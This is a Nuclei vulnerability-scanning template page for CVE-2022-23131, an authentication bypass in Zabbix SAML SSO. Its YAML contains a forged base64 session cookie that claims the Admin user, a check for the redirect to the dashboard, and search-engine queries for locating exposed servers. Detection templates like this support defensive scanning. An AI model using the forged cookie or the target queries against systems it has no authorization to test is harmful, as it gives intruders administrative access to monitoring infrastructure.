Skip to content
Nuclei Templates

Zabbix - SAML SSO Authentication Bypass

ID: CVE-2022-23131

Severity: critical

Author: For3stCo1d,spac3wh1te

Tags: cve,cve2022,zabbix,auth-bypass,saml,sso,kev

Description

Section titled “Description”

When SAML SSO authentication is enabled (non-default), session data can be modified by a malicious actor because a user login stored in the session was not verified.

YAML Source

Section titled “YAML Source”
id: CVE-2022-23131


info:
  name: Zabbix - SAML SSO Authentication Bypass
  author: For3stCo1d,spac3wh1te
  severity: critical
  description: When SAML SSO authentication is enabled (non-default), session data can be modified by a malicious actor because a user login stored in the session was not verified.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information and potential compromise of the Zabbix monitoring system.
  remediation: Upgrade to 5.4.9rc2, 6.0.0beta1, 6.0 (plan) or higher.
  reference:
    - https://support.zabbix.com/browse/ZBX-20350
    - https://blog.sonarsource.com/zabbix-case-study-of-unsafe-session-storage
    - https://nvd.nist.gov/vuln/detail/CVE-2022-23131
    - https://github.com/1mxml/CVE-2022-23131
    - https://github.com/20142995/sectool
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-23131
    cwe-id: CWE-290
    epss-score: 0.9708
    epss-percentile: 0.99771
    cpe: cpe:2.3:a:zabbix:zabbix:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: zabbix
    product: zabbix
    shodan-query:
      - http.favicon.hash:892542951
      - http.title:"zabbix-server"
      - cpe:"cpe:2.3:a:zabbix:zabbix"
    fofa-query:
      - app="ZABBIX-监控系统" && body="saml"
      - icon_hash=892542951
      - app="zabbix-监控系统" && body="saml"
      - title="zabbix-server"
    google-query: intitle:"zabbix-server"
  tags: cve,cve2022,zabbix,auth-bypass,saml,sso,kev


http:
  - method: GET
    path:
      - "{{BaseURL}}/zabbix/index_sso.php"
      - "{{BaseURL}}/index_sso.php"


    stop-at-first-match: true


    headers:
      Cookie: "zbx_session=eyJzYW1sX2RhdGEiOnsidXNlcm5hbWVfYXR0cmlidXRlIjoiQWRtaW4ifSwic2Vzc2lvbmlkIjoiIiwic2lnbiI6IiJ9"


    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "contains(tolower(header), 'location: zabbix.php?action=dashboard.view')"


      - type: status
        status:
          - 302
# digest: 490a00463044022073537963f0b8c5d64020cf5082d9a874815cebd184ff2135bc40b46e823c2033022061a2b2332e0d251e225284203194d2b9b00b8aa37a99f4058352d39ce46c732d:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-23131.yaml"

View on Github